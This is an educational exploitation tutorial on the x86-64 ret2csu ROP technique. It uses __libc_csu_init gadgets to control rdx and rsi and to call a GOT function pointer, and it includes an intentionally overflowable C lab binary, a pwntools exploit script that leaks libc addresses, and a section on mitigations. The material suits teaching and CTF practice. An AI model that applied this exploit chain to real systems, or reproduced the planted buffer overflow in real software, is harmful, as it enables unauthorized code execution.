Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
ret2csu solves a recurring problem in x86-64 ROP: you need to control rdx (the third argument register) or call a function pointer, but the target binary contains no convenient pop rdx; ret gadget. The System V calling convention passes arguments in rdi, rsi, rdx, rcx, r8, r9, and while pop rdi; ret and pop rsi; ret are common, a clean pop rdx is often missing. ret2csu supplies rdx (and rsi, and a call) from a pair of gadgets that are present in almost every dynamically linked ELF: the compiler-generated __libc_csu_init function.
__libc_csu_init is the C runtime’s initializer that walks the .init_array constructors. Its epilogue and loop body happen to contain two extraordinarily useful sequences — a six-register pop block and a mov/call block — that together let an attacker load rdx, rsi, and the low 32 bits of rdi, then call through a pointer of their choosing. Because these gadgets come from the binary’s own startup code rather than libc, they are usable before any libc leak, which is why ret2csu is a staple opener. pwntools’ ROP object recognizes and drives these gadgets automatically.
Attack Prerequisites
ret2csu is a register-control primitive, not a full exploit; it slots into a larger chain. You need:
- A binary that actually contains
__libc_csu_init— true for most binaries built with older GCC/glibc toolchains; note that glibc 2.34+ and modern GCC reworked startup and frequently no longer emit__libc_csu_init, so confirm the gadgets exist first. - Instruction-pointer control (a stack overflow or equivalent) and enough stack space for the two-gadget sequence plus its register payload.
- A known address to call through — a GOT entry, a function pointer, or
[r12 + rbx*8]set to point at the function you want invoked (often a PLT/GOT slot). - Fixed addresses for the gadgets — a non-PIE binary, or a PIE base leak, so the
__libc_csu_initgadget offsets are known.
How It Works
Two gadgets inside __libc_csu_init do the work. The first is the function’s register-restoring epilogue, a clean six-pop:
; Gadget 1 (csu epilogue)
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
ASMThe second is the loop body that the initializer uses to call each constructor. It moves callee-saved registers into the argument registers and calls through a computed pointer:
; Gadget 2 (csu loop body)
mov rdx, r13
mov rsi, r14
mov edi, r15d ; NOTE: 32-bit -> only low 32 bits of rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbx, rbp
jne <loop top>
; ... stack adjust / pops ... ; ret
ASMThe two compose cleanly. Gadget 1 loads rbx, rbp, r12, r13, r14, r15 straight from the stack, then rets into Gadget 2. Gadget 2 copies r13 -> rdx, r14 -> rsi, and r15d -> edi, then calls [r12 + rbx*8]. Set rbx = 0 so the call target is exactly [r12], and set rbp = 1 so that after the call add rbx,1 makes rbx == rbp, the cmp/jne falls through, and execution continues to the epilogue rather than looping. Point r12 at a GOT slot (or any pointer-to-function), and you have called an arbitrary function with controlled rdx and rsi.
The one sharp edge is mov edi, r15d: only the low 32 bits of rdi are set, so ret2csu cannot place a full 64-bit value in the first argument. That is fine when rdi is a small integer (a file descriptor, a length, 0) but not when it must be a 64-bit pointer — in that case set rdi separately with a pop rdi; ret and use ret2csu only for rdx/rsi.
Vulnerable Code / Setup
A non-PIE overflow target. The interesting constraint is arranging a call that needs rdx — for example write(1, buf, len) or mprotect(addr, len, prot) — where no pop rdx gadget exists in the binary:
// gcc -fno-stack-protector -no-pie -o csu csu.c
#include <unistd.h>
void vuln(void){
char buf[64];
read(0, buf, 512); // BUG: overflow -> ROP
}
int main(void){ vuln(); return 0; }
CVerify the gadgets are present. checksec shows No PIE (fixed gadget addresses), and a quick search confirms the csu sequences exist in this build:
$ checksec --file=./csu
RELRO: Partial RELRO Stack: No canary NX: enabled PIE: No PIE
$ ROPgadget --binary ./csu | grep -E 'pop r15 ; ret|mov rdx, r13'
0x0000000000401266 : pop r15 ; ret
# ... and the mov rdx, r13 ; mov rsi, r14 ; ... block inside __libc_csu_init
TEXTWalkthrough / Exploitation
By hand, the chain lays Gadget 1, the six register values, Gadget 2, and then the stack cleanup Gadget 2’s epilogue expects. Here we call write(1, addr, len) to leak, then continue. Set r12 = &write@got (call target), rbx = 0, rbp = 1, and r13/r14/r15 for rdx/rsi/edi:
from pwn import *
context.binary = elf = ELF('./csu')
io = process('./csu')
CSU_POP = 0x401266 # pop rbx;pop rbp;pop r12;r13;r14;r15;ret
CSU_CALL = 0x401250 # mov rdx,r13;mov rsi,r14;mov edi,r15d;call [r12+rbx*8]
OFF = 64 + 8
payload = b'A' * OFF
payload += p64(CSU_POP)
payload += p64(0) # rbx = 0 -> call [r12]
payload += p64(1) # rbp = 1 -> loop exits after one call
payload += p64(elf.got['write']) # r12 = &write@got (function pointer)
payload += p64(8) # r13 -> rdx = length
payload += p64(elf.got['write']) # r14 -> rsi = buffer to write
payload += p64(1) # r15 -> edi = fd 1 (low 32 bits ok)
payload += p64(CSU_CALL)
PythonAfter the call, Gadget 2 executes add rbx,1; cmp rbx,rbp; jne; with rbx=0 -> 1 and rbp=1 the branch is not taken, so control reaches the cleanup pops. Those pops consume seven qwords off the stack (padding), and the final ret returns wherever you place next — here, back to a further stage:
payload += p64(0) * 7 # absorb the csu epilogue's add rsp/pops
payload += p64(elf.sym['main']) # continue: return into main for stage 2
io.send(payload)
leak = u64(io.recv(8)) # write() leaked the GOT entry -> libc
log.success(f'write@libc = {leak:#x}')
Pythonpwntools does all of this automatically: calling rop.call('write', [1, elf.got['write'], 8]) on a binary where rdx needs setting causes the ROP engine to synthesize the ret2csu two-gadget sequence and the padding for you, so the readable form is simply the high-level call:
rop = ROP(elf)
rop.raw(b'A' * OFF)
rop.call('write', [constants.STDOUT_FILENO, elf.got['write'], 8])
rop.main()
io.send(rop.chain()) # pwntools inserts the csu gadgets under the hood
PythonNote: Set
rbx = 0andrbp = 1precisely:rbx = 0makes the call target[r12 + 0], andrbp = 1makesadd rbx,1produce equality so the loop runs exactly once. Any otherrbpreruns the loop withrbxincremented, calling[r12 + 8],[r12 + 16], … which is occasionally useful for calling several pointers in sequence but usually just crashes.
Opsec: Because
mov edi, r15dclears the top 32 bits ofrdi,ret2csucannot pass a 64-bit pointer as the first argument. Forsystem("/bin/sh")orexecve(path, ...)setrdiwith a separatepop rdi; retand useret2csuonly to fillrdx/rsi. Mixing the two is the standard pattern for a fullexecvechain.
Detection and Defense
ret2csu is a code-reuse primitive; the defenses are the general anti-ROP controls plus toolchain changes that remove the gadgets:
- Modern toolchains (glibc 2.34+ / recent GCC) frequently no longer emit
__libc_csu_init, removing the universal gadget from freshly built binaries — keep build toolchains current. - PIE + ASLR so the csu gadget addresses are not fixed and require a separate leak.
- Intel CET: indirect-branch tracking (
endbr64) and shadow stacks — IBT constrainscall [r12+rbx*8]targets to valid entry points, and shadow stacks catch the ROP return chain. - Stack canaries and fortify to deny the initial overflow.
- seccomp to blunt the eventual syscall (e.g. blocking
execve) even if a chain assembles.
Real-World Impact
The __libc_csu_init gadgets were popularized as “universal” ROP gadgets because for years virtually every dynamically linked x86-64 ELF contained them, making rdx control a solved problem regardless of what the rest of the binary offered. That ubiquity made ret2csu a default building block in CTF pwn and real exploit development, especially for mprotect and multi-argument syscall chains. Its footprint is now shrinking as newer glibc/GCC startup code drops the function, which is a concrete example of mitigation-by-toolchain — but the vast installed base of older binaries keeps ret2csu relevant, and the technique remains the textbook illustration of harvesting powerful gadgets from compiler-generated runtime code.
Conclusion
ret2csu turns the C runtime’s initializer into a register-control engine: one gadget pops six callee-saved registers, the second copies them into rdx, rsi, and edi and calls through [r12+rbx*8]. Set rbx=0, rbp=1, aim r12 at a GOT slot, and you have called an arbitrary function with the third argument you could not otherwise set. Mind the 32-bit edi limitation, let pwntools synthesize the sequence when possible, and remember that current toolchains are quietly removing this gift from newly built binaries.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments